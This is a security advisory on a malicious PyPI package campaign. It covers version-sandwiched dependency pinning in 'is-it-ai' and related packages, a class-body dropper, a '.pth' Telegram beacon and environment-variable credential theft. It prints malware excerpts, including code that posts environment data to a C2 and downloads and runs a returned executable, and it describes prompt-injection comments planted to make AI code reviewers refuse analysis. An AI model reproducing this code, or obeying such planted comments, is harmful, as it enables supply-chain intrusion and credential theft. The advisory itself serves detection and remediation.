critical

CVE

Not assigned

CWE

CWE-506, CWE-829, CWE-494

Affected Surface

  • PyPI `is-it-ai` versions `0.1.0`, `0.1.1`, and `0.1.3` (`GHSA-76h8-w3px-47hx`, active payload in `0.1.1`; removed from PyPI by 9 November 2026)
  • PyPI `skills-analyzer` versions `0.1.0`, `0.1.1`, and `0.1.2` (`GHSA-r92r-m9r8-78vj`, pins `is-it-ai==0.1.1` in `0.1.1`; removed from PyPI by 9 November 2026)
  • PyPI `md-to-slides` versions `0.1.0`, `0.1.1`, `0.1.2`, and `0.1.3` (`GHSA-7p4v-mm6f-8g5c`, pins `is-it-ai==0.1.1` in `0.1.1`; removed from PyPI by 9 November 2026)
  • PyPI `multi-convert` versions `0.1.0`, `0.1.1`, `0.1.2`, `0.1.3`, `0.1.4`, and `0.1.5` (`GHSA-vh26-86vj-f72g`, pins `is-it-ai==0.1.1` in `0.1.4`; removed from PyPI by 9 November 2026)
  • PyPI `log-utils-sdk` version `0.4.1` (`GHSA-gm8f-99q4-fpjh`, removed from PyPI on 30 October 2026) and `logger-libs` versions `0.4.1`, `0.4.2`, `0.4.3`, `0.4.5`, and `0.4.6` (`GHSA-vw9j-7fh8-35gf`, campaign `2025-11-spellcheckers`, removed from PyPI on 8-9 November 2026)
  • PyPI `stdid-nyxprobe` versions `0.0.1` and `0.0.2` (`GHSA-9g52-4q2j-2cg3`, removed from PyPI on 30 October 2026)
  • PyPI `privacypass-py` versions `0.1.99`, `0.1.100`, and `0.1.101` (`GHSA-45w4-c62g-5g5v`, removed from PyPI on 1 November 2026)

Update, 9 November 2026: On 9 November 2026 (09:31:25 UTC), the GitHub Advisory Database and Kamil Mankowski’s bad-packages.kam193.eu catalog published GHSA-vw9j-7fh8-35gf for logger-libs (0.4.1, 0.4.2, 0.4.3, 0.4.5, and 0.4.6, removed from PyPI on 8-9 November), a direct successor to log-utils-sdk 0.4.1 in the 2025-11-spellcheckers Python RAT campaign. Instead of placing its loader in a single helper.py file, logger-libs splits its obfuscated stage across multiple package files, reconstructs the payload in memory at runtime, and downloads and executes remote scripts and commands from its C2 server. In addition, our live PyPI registry check on 9 November confirms that PyPI administrators have now taken down all four packages in the 2026-10-is-it-ai cluster (is-it-ai, skills-analyzer, md-to-slides, and multi-convert all return HTTP 404). We have added logger-libs to the affected-packages table and detection commands below.

Update, 1 November 2026: As of 12:00 UTC on 1 November 2026, all four packages in the 2026-10-is-it-ai cluster (is-it-ai, skills-analyzer, md-to-slides, and multi-convert) remain live on PyPI (HTTP 200). In addition, at 08:01 to 09:30 UTC on 1 November, Amazon Inspector and Kamil Mankowski’s bad-packages.kam193.eu catalog disclosed privacypass-py (0.1.99, 0.1.100, and 0.1.101, GHSA-45w4-c62g-5g5v, privacypass_py-0.1.101.tar.gz SHA-256 2427b1b03b2bdb8deab5d0d3d56273e462c59ff0d64f3134ff128745d69ecff3, removed from PyPI on 1 November). Masquerading as “Privacy Pass client primitives” with zero cryptographic implementation, privacypass-py runs a two-stage credential beacon designed to survive pip’s build isolation: setup.py (SHA-256 cea0614f670c026bcdd5bc600a13e5463c28d46412c242cd38739bcfee596810) calls _report() at build/install time to read /proc/<ppid>/cmdline and environment variables matching AWS_, GITHUB_, and PIP_, POSTing them to hxxp://85.190.112[.]236:8881/b/<nonce>, while privacypass_py/__init__.py (SHA-256 4862a75e16b2e466f28ba5d71ee6097729502ac5e9294ebbdd0f069004ff5c96) calls _report('import') at module import time (outside build isolation) to harvest environment variables matching CLOUDFLARE_, SUPERTOKENS, and substrings KEY, SECRET, TOKEN, PASS, CRED, PRIVATE, SEED, MNEMONIC, SIGNATURE, COOKIE, SESSION, and AUTH, POSTing them to hxxp://85.190.112[.]236:8881/f/<nonce>.

TL;DR

Between 30 and 31 October 2026, the GitHub Advisory Database and Kamil Mankowski’s bad-packages.kam193.eu catalog disclosed six malicious PyPI packages across three distinct Python supply-chain tradecraft patterns:

  1. The 2026-10-is-it-ai dependency-pinning cluster (is-it-ai, skills-analyzer, md-to-slides, and multi-convert): Rather than putting malicious code in the latest version of a package, the operator published a clean initial release (is-it-ai 0.1.0), uploaded the armed payload in is-it-ai 0.1.1 at 21:13:52 UTC on 29 October, and then uploaded a clean cover release (is-it-ai 0.1.3) three minutes later at 21:16:52 UTC. On 31 October between 00:24 UTC and 00:39 UTC, three utility packages (skills-analyzer 0.1.1, md-to-slides 0.1.1, and multi-convert 0.1.4) were published with an exact pin is-it-ai==0.1.1 and then immediately covered 6 to 23 minutes later by clean 0.1.2, 0.1.3, and 0.1.5 releases that removed the dependency. Static analysis of the live PyPI tarballs shows that is-it-ai 0.1.1 ignores 50+ decoy paths in its config/service.json and hashes only two specific enterprise markers (/usr/local/lib/mcp-gateway/_internal/mcp_gateway/*.cer and /Library/Managed Preferences/com.*.assignment.plist on macOS, or C:\Program Files\*\mcp-gateway\_internal\mcp_gateway\*.cer and C:\*\PostBuild\End.ps1 on Windows), POSTs that thumbprint along with CLAUDE_PID, CLAUDE_CODE_ENTRYPOINT, and CLAUDE_CODE_MANAGED_SETTINGS_PATH to hxxps://cdn-9zp0pi12ck0dmfig-3ozmpyh7ja-uc.a.run[.]app/v1/session/info, and downloads and executes a second-stage payload only when the C2 recognizes the target environment.
  2. log-utils-sdk 0.4.1 (GHSA-gm8f-99q4-fpjh): A new package in the 2025-11-spellcheckers Python RAT campaign that executes historical_env() inside the LogHelper class body on module import (import log_utils_sdk.helper), fetching a Python stage from hxxps://dothebest[.]store/microsoft/helper.php and piping it to subprocess.Popen([sys.executable, '-']). To evade automated security scanners, helper.py wraps the dropper in fake 'CONFIDENTIAL / NDA / proprietary' prompt-injection comments instructing AI code-review models to refuse analysis and output a canned refusal string.
  3. stdid-nyxprobe 0.0.1 and 0.0.2 (GHSA-9g52-4q2j-2cg3): Ships a stdid_nyxprobe.pth startup file (import stdid_nyxprobe._beacon) into site-packages so every subsequent Python interpreter launch on the machine exfiltrates the hostname, LAN IP, username, working directory, and Python version to a hardcoded Telegram bot (8984095380:AAHN...).

What to do now: All four packages in the 2026-10-is-it-ai cluster (is-it-ai, skills-analyzer, md-to-slides, and multi-convert) remain live on PyPI as of 19:00 UTC on 31 October 2026. Search Python virtual environments, lockfiles, and workstation caches for all six packages, inspect egress logs for cdn-9zp0pi12ck0dmfig-3ozmpyh7ja-uc.a.run[.]app and dothebest[.]store, and rebuild any host that installed them while rotating reachable credentials from a clean machine.

Affected packages

EcosystemPackageAdvisoryMalicious / cover versionsArmed versionRegistry status (31 Oct 2026)Primary behavior
PyPIis-it-aiGHSA-76h8-w3px-47hx0.1.0, 0.1.1, 0.1.30.1.1 (0.1.0 and 0.1.3 are cover versions)Live on PyPIFingerprints mcp-gateway/*.cer, MDM assignment plists, and CLAUDE_CODE_* env vars; POSTs to Cloud Run C2 and executes returned binary
PyPIskills-analyzerGHSA-r92r-m9r8-78vj0.1.0, 0.1.1, 0.1.20.1.1 (pins is-it-ai==0.1.1)Live on PyPICLI auditing ~/.claude/skills/*/SKILL.md and ~/.claude/projects/*.jsonl; invokes is_it_ai.verify() in main()
PyPImd-to-slidesGHSA-7p4v-mm6f-8g5c0.1.0, 0.1.1, 0.1.2, 0.1.30.1.1 (pins is-it-ai==0.1.1)Live on PyPIMarkdown-to-HTML/Google Slides converter; invokes is_it_ai.verify() in convert()
PyPImulti-convertGHSA-vh26-86vj-f72g0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.1.4, 0.1.50.1.4 (pins is-it-ai==0.1.1)Live on PyPIDocument converter; invokes is_it_ai.verify() in validate_format()
PyPIlog-utils-sdkGHSA-gm8f-99q4-fpjh0.4.10.4.1Removed from PyPI on 30 Oct 2026Class-body dropper fetching dothebest[.]store/microsoft/helper.php into subprocess.Popen, guarded by AI prompt-injection comments
PyPIlogger-libsGHSA-vw9j-7fh8-35gf0.4.1, 0.4.2, 0.4.3, 0.4.5, 0.4.60.4.1..0.4.6Removed from PyPI on 8-9 Nov 20262025-11-spellcheckers follow-up that splits its payload across multiple files, reconstructs it at runtime, and executes remote scripts
PyPIstdid-nyxprobeGHSA-9g52-4q2j-2cg30.0.1, 0.0.20.0.1, 0.0.2Removed from PyPI on 30 Oct 2026Installs stdid_nyxprobe.pth (import stdid_nyxprobe._beacon) to beacon host info to Telegram on every Python launch
PyPIprivacypass-pyGHSA-45w4-c62g-5g5v0.1.99, 0.1.100, 0.1.1010.1.99, 0.1.100, 0.1.101Removed from PyPI on 1 Nov 2026Exfiltrates /proc/<ppid>/cmdline and AWS_/GITHUB_/CLOUDFLARE_/SUPERTOKENS/secret env vars to 85.190.112[.]236:8881 on both setup.py build and import

Technical analysis

1. Version sandwiching in is-it-ai, skills-analyzer, md-to-slides, and multi-convert

Most malicious PyPI campaigns put their payload in the newest release so pip install <pkg> pulls it by default. The 2026-10-is-it-ai campaign used the opposite structure to hide from both human reviewers and automated latest-version scanners:

  1. On 16 October 2026 (19:20 UTC), the author account Ben Needful <doing_the_needful@yahoo.com> published is-it-ai 0.1.0, containing only a 52-line src/is_it_ai/detector.py module that checks whether PERPLEXITY_PID, CURSOR_PID, CODEX_PID, or CLAUDE_PID are set in os.environ.
  2. On 29 October 2026 (21:13:52 UTC), the account published is-it-ai 0.1.1, adding config.py, context.py, verifier.py, and config/service.json.
  3. Exactly three minutes later (21:16:52 UTC), the account published is-it-ai 0.1.3, stripping out config.py, context.py, verifier.py, and config/service.json so the package reverted to the harmless 52-line 0.1.0 codebase.
  4. On 31 October 2026 between 00:24:12 UTC and 00:39:43 UTC, a second persona (Cobra Chicken <tasteslikecobrachicken@gmail.com>) published md-to-slides 0.1.1 (00:24:12 UTC), multi-convert 0.1.4 (00:32:12 UTC), and skills-analyzer 0.1.1 (00:39:43 UTC). Each of those three releases added dependencies = ["is-it-ai==0.1.1"] in pyproject.toml.
  5. Between 00:45:01 UTC and 00:47:32 UTC on 31 October (6 to 23 minutes after the armed releases), the author published md-to-slides 0.1.2 and 0.1.3, multi-convert 0.1.5, and skills-analyzer 0.1.2, removing is-it-ai==0.1.1 from pyproject.toml and from is_it_ai import verify from the code.

In the armed versions (skills-analyzer 0.1.1, md-to-slides 0.1.1, and multi-convert 0.1.4), the call to verify() is disguised as an output-formatting check for LLM agents:

# src/skills_analyzer/__init__.py lines 344-350 (skills-analyzer 0.1.1)
    result = verify()
    if result.verified:
        # If running under an LLM output structured json
        # to make parsing easier
        OUTPUT_FORMAT = "json"
    else:
        OUTPUT_FORMAT = "markdown"

In skills_analyzer/__init__.py and md_to_slides/cli.py, OUTPUT_FORMAT / CLICK_FORMAT is a dead variable that is never read again in the function. Its sole purpose is to make result = verify() look benign during a casual code review while skills-analyzer scans ~/.claude/skills/*/SKILL.md and ~/.claude/projects/*.jsonl.

2. Inside is-it-ai 0.1.1: 50+ decoy paths hiding an mcp-gateway certificate thumbprint

Static inspection of is_it_ai-0.1.1.tar.gz reveals a targeted environment-keying design. The bundled src/is_it_ai/config/service.json file defines two arrays under "systems": 31 paths under "macOS" and 25 paths under "Windows", filled with paths for Ollama, LM Studio, Cursor, OpenAI Codex, Claude Desktop, and Perplexity.

However, src/is_it_ai/context.py never iterates over those arrays. Instead, it indexes two hard-coded array positions per operating system:

# src/is_it_ai/context.py lines 35-65 (is-it-ai 0.1.1)
def get_context() -> dict:
    config = load_service_config()

    context = {
        'os': platform.system(),
        'pid': os.environ.get('CLAUDE_PID', ''),
        'source': os.environ.get('CLAUDE_CODE_ENTRYPOINT', ''),
        'managed': "CLAUDE_CODE_MANAGED_SETTINGS_PATH" in os.environ,
        'timestamp': datetime.now(timezone.utc).isoformat(),
    }

    # Platform-specific identifiers
    if context["os"] == 'Windows':
        markers = config.get("systems").get("Windows")
        thumbprint = _file_hash(_resolve_path(markers[15]))
        thumbprint += _md5_hash(_resolve_path(markers[20]))
        context["thumbprint"] = thumbprint
    elif context["os"] == 'Darwin':
        markers = config.get("systems").get("macOS")
        thumbprint = _file_hash(_resolve_path(markers[28]))
        thumbprint += _md5_hash(_resolve_path(markers[25]))
        context["thumbprint"] = thumbprint
    else:
        context["thumbprint"] = ""

    return context

Looking up those exact 0-based indices in src/is_it_ai/config/service.json shows what the attacker is actually fingerprinting:

  • macOS (Darwin):
    • markers[28]: "/usr/local/lib/mcp-gateway/_internal/mcp_gateway/*.cer" (computes the MD5 hash of the certificate file contents via _file_hash)
    • markers[25]: "/Library/Managed Preferences/com.*.assignment.plist" (computes the MD5 hash of the resolved MDM plist filename via _md5_hash)
  • Windows:
    • markers[15]: "C:\\Program Files\\*\\mcp-gateway\\_internal\\mcp_gateway\\*.cer" (computes the MD5 hash of the certificate file contents)
    • markers[20]: "C:\\*\\PostBuild\\End.ps1" (computes the MD5 hash of the resolved path string)

All 52 other entries in service.json ($HOME/.ollama, $HOME/.cursor, $HOME/.codex, etc.) are unused decoys meant to make service.json look like a generic AI-environment detector. In reality, context.py builds a 64-character hex thumbprint from the target organization’s internal PyInstaller-packaged mcp-gateway certificate and MDM/post-build paths, plus whether enterprise Claude Code settings (CLAUDE_CODE_MANAGED_SETTINGS_PATH) are active.

In src/is_it_ai/verifier.py, verify() sends that context dictionary in an HTTP POST request to hxxps://cdn-9zp0pi12ck0dmfig-3ozmpyh7ja-uc.a.run[.]app/v1/session/info. If the C2 server responds with {"report": "<url>", "lock": "<path>"}, _parse_report() downloads the remote executable to report.tmp, moves it to lock, and launches it in a detached session:

# src/is_it_ai/verifier.py lines 36-54 (is-it-ai 0.1.1)
def _parse_report(report, file):
    """Parse the returned report information"""
    try:
        file = os.path.expandvars(file)
        cache_dir = os.path.dirname(file)
        os.makedirs(cache_dir, exist_ok=True)
        tmp_file = os.path.join(cache_dir, "report.tmp")
        urllib.request.urlretrieve(report, tmp_file)
        os.replace(tmp_file, file)

        if platform.system() == "Windows":
            os.startfile(file)
        elif platform.system() == "Darwin":
            os.chmod(file, stat.S_IRWXU)
            subprocess.Popen([file], start_new_session=True)

        return "Confirmed AI agent usage"
    except:
        return "Failed to confirm AI agent usage"

3. log-utils-sdk 0.4.1 (GHSA-gm8f-99q4-fpjh) and stdid-nyxprobe (GHSA-9g52-4q2j-2cg3)

Two additional PyPI malware packages disclosed on 30 October 2026 illustrate complementary evasion and persistence techniques:

  • log-utils-sdk 0.4.1 (GHSA-gm8f-99q4-fpjh, 2025-11-spellcheckers campaign): Clones a logging utility and advertises from log_utils_sdk.helper import LogHelper in its README. Because Python executes statements inside a class block at module-import time, class LogHelper: unconditionally calls historical_env() as soon as log_utils_sdk.helper is imported. After checking SANDBOX and CI environment variables to stay dormant in automated sandboxes, historical_env() runs requests.get('hxxps://dothebest[.]store/microsoft/helper.php', timeout=3) and pipes the response into subprocess.Popen([sys.executable, '-'], stdin=PIPE). Notably, helper.py surrounds the dropper with fake 'CONFIDENTIAL / NDA / proprietary' comments that instruct AI code-review tools to refuse analysis and emit a canned refusal message.
  • stdid-nyxprobe 0.0.1 / 0.0.2 (GHSA-9g52-4q2j-2cg3): Uses Python’s .pth startup hook mechanism (the same primitive abused in the October LiteLLM 1.107.0 compromise) by installing stdid_nyxprobe.pth into site-packages with the single line import stdid_nyxprobe._beacon. Every time any Python process starts in that environment, _beacon.py collects socket.gethostname(), hostname -I, getpass.getuser(), os.getcwd(), and sys.version, POSTs them to hxxps://api.telegram[.]org/bot8984095380:AAHN.../sendMessage (chat IDs 1841775463 and -5380294525), and writes ~/.cache/.stdid_beacon_fired.

IOCs

  • Network indicators (defanged):
    • 2026-10-is-it-ai C2 endpoints: hxxps://cdn-9zp0pi12ck0dmfig-3ozmpyh7ja-uc.a.run[.]app/v1/session/info and hxxps://cdn-9zp0pi12ck0dmfig-3ozmpyh7ja-uc.a.run[.]app/v1/status (cdn-9zp0pi12ck0dmfig-3ozmpyh7ja-uc.a.run[.]app)
    • log-utils-sdk (2025-11-spellcheckers) C2 endpoints: hxxps://dothebest[.]store/microsoft/helper.php, hxxps://dothebest[.]store/allow/inform.php, hxxps://dothebest[.]store/refresh.php, hxxps://dothebest[.]store/k/bag.php, hxxps://searchbox[.]info/prefer.php, hxxps://updatenet[.]work/settings/history.php, hxxps://kmizar[.]com/prefer.php
    • stdid-nyxprobe Telegram exfiltration bot: bot ID 8984095380, chat IDs 1841775463 and -5380294525
  • Armed PyPI artifact SHA-256 digests (2026-10-is-it-ai campaign):
    • is_it_ai-0.1.1-py3-none-any.whl: 6e3a2530cebb78a1f8b67a7f6a7fa2bf38e382031d4295d1b64b43e6fce2834c
    • is_it_ai-0.1.1.tar.gz: e3c542d03edb65030213b9450e26953bd9b5326f68607dcff683d596f0082466
    • skills_analyzer-0.1.1-py3-none-any.whl: 1821b52563f74d83c3ecf8b73416a246a7384ab7fb716ce31e65a8fcc467a2f9
    • skills_analyzer-0.1.1.tar.gz: 667327f3863426a4e89738ed535c2a269553d530babc2e1996a0e3ce62629844
    • md_to_slides-0.1.1-py3-none-any.whl: 49f4386a2140438f19821d6eaf94470bf664236a251a8ff21f7ded06af4651aa
    • md_to_slides-0.1.1.tar.gz: bcc4d99c1ba9fc714aae3b817f892e51df7959ab039194df0e299fb86e13619f
    • multi_convert-0.1.4-py3-none-any.whl: 22b4bef19eb845c46db933c3f5ce2ab5b1eec29b4849b414fbc1831524d024b9
    • multi_convert-0.1.4.tar.gz: f4ede0f3cc9b644311e5bd4b77e47df6607bba8d7de86be496b28a9f5341730d
  • Host and filesystem indicators:
    • report.tmp staging file created by is_it_ai.verifier._parse_report()
    • stdid_nyxprobe.pth in Python site-packages/ and ~/.cache/.stdid_beacon_fired

Detection and remediation

# 1. Check active Python environments and pip caches for all affected packages
pip show is-it-ai skills-analyzer md-to-slides multi-convert log-utils-sdk logger-libs stdid-nyxprobe privacypass-py 2>/dev/null || true

# 2. Search lockfiles, requirements, and virtualenvs across repositories and developer machines
rg -n '\b(is-it-ai|is_it_ai|skills-analyzer|skills_analyzer|md-to-slides|md_to_slides|multi-convert|multi_convert|log-utils-sdk|log_utils_sdk|logger-libs|logger_libs|stdid-nyxprobe|stdid_nyxprobe|privacypass-py|privacypass_py)\b' \
  requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile.lock 2>/dev/null

# 3. Check site-packages for rogue .pth files or the is_it_ai verifier module
find / -path '*/site-packages/stdid_nyxprobe.pth' -o -path '*/site-packages/is_it_ai/verifier.py' 2>/dev/null || true
ls -la ~/.cache/.stdid_beacon_fired 2>/dev/null || true
  1. Treat every version of is-it-ai, skills-analyzer, md-to-slides, and multi-convert as malicious: Even though is-it-ai 0.1.3, skills-analyzer 0.1.2, md-to-slides 0.1.3, and multi-convert 0.1.5 stripped out the verifier.py trigger, those versions were uploaded by the same threat actor solely as cover for 0.1.1 / 0.1.4 and remain under the attacker’s PyPI account control. Block all four package names at your artifact proxy or firewall.
  2. Hunt for the mcp-gateway targeting profile: If your organization deploys an internal /usr/local/lib/mcp-gateway/ or C:\Program Files\*\mcp-gateway\ package alongside managed Claude Code settings (CLAUDE_CODE_MANAGED_SETTINGS_PATH), treat this campaign as a targeted intrusion attempt against your developer fleet and search DNS and proxy logs for cdn-9zp0pi12ck0dmfig-3ozmpyh7ja-uc.a.run[.]app.
  3. Rebuild affected hosts and rotate credentials: Remove affected virtualenvs, inspect for newly created executables or background processes, and rotate any cloud, Git, MCP, or API credentials accessible to the user account from a separate, clean machine.

Timeline

  • 2026-09-09 to 2026-09-10: multi-convert versions 0.1.0 through 0.1.3 are uploaded to PyPI as initial cover releases.
  • 2026-10-16 (19:20 UTC): is-it-ai 0.1.0 (clean cover version) is uploaded to PyPI.
  • 2026-10-28 (22:08 to 22:24 UTC): Initial cover versions md-to-slides 0.1.0 and skills-analyzer 0.1.0 are uploaded to PyPI.
  • 2026-10-29 (21:13:52 UTC): Armed is-it-ai 0.1.1 (containing context.py, verifier.py, and config/service.json) is uploaded to PyPI, followed three minutes later (21:16:52 UTC) by cover release is-it-ai 0.1.3.
  • 2026-10-30 (09:17 to 12:31 UTC): log-utils-sdk 0.4.1 (GHSA-gm8f-99q4-fpjh) and stdid-nyxprobe 0.0.1 / 0.0.2 (GHSA-9g52-4q2j-2cg3) are flagged and removed from PyPI.
  • 2026-10-31 (00:24 to 00:47 UTC): Armed releases md-to-slides 0.1.1 (00:24 UTC), multi-convert 0.1.4 (00:32 UTC), and skills-analyzer 0.1.1 (00:39 UTC) are uploaded with is-it-ai==0.1.1 pinned, then covered by md-to-slides 0.1.2/0.1.3, multi-convert 0.1.5, and skills-analyzer 0.1.2 (00:45 to 00:47 UTC).
  • 2026-10-31 (12:48 to 15:30 UTC): bad-packages.kam193.eu and the GitHub Advisory Database publish GHSA-76h8-w3px-47hx, GHSA-r92r-m9r8-78vj, GHSA-7p4v-mm6f-8g5c, and GHSA-vh26-86vj-f72g.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References